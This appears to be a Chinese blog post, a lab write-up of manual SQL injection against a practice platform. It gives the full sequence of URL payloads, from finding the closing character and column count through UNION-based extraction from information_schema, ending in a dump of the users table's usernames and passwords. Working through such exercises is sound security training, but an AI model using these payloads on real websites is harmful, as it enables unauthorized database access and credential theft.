2019-08-03简单SQL注入的手工测试

SQL注入在线练习平台(http://leettime.net)

练习基础模块4

1、判断闭合字符和列数

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1

正常显示内容

双引号闭合 " 显示正常页面这个就不是闭合字符

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%22

双引号和单引号闭合 "' 显示报错页面这个就不是闭合字符

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%22%27

由图片来开还有括号的存在 ）

尝试闭合字符 -- - 成功

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%27)%20or%201=1%20--%20-

接下来获取表的列数

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%27)%20order%20by%202%20--%20-

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%27)%20order%20by%204%20--%20-

order by 5 -- -这个报错说明 数据表的列数为4

2、获取数据的数据回显点和数据获取

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%27)%20%20and%201=2%20union%20select%201,2,3,4%20--%20-

数据在第二行的地方可以查询回显数据

数据库查询 leettime_761wHole

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%27)%20%20and%201=2%20union%20select%201,database(),3,4%20--%20-

查询数据安装的路径/usr/@@basedir

找出表名  testtable1,userlogs,users

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%27)%20%20and%201=2%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27leettime_761wHole%27),3,4%20--%20-

找出列明id,username,password,user_type,sec_code

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%27)%20%20and%201=2%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27leettime_761wHole%27%20and%20table_name=%27users%27),3,4%20--%20-

Username is : #injector#khan#,#decompiler#hacktract#,#devilhunte#dante#,#Zen#sec-idiots#,#Zenodermus#security-i#,#grayhat#hacker#,#khan#haxor#,#admin#sadmin#

http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%27)%20%20and%201=2%20union%20select%201,(select%20group_concat(0x23,username,0x23,password,0x23)%20from%20leettime_761wHole.users),3,4%20--%20-

总结：注意熟悉information_schama这个表的结构，还有注意group_concat使用

https://zhuanlan.zhihu.com/p/76518525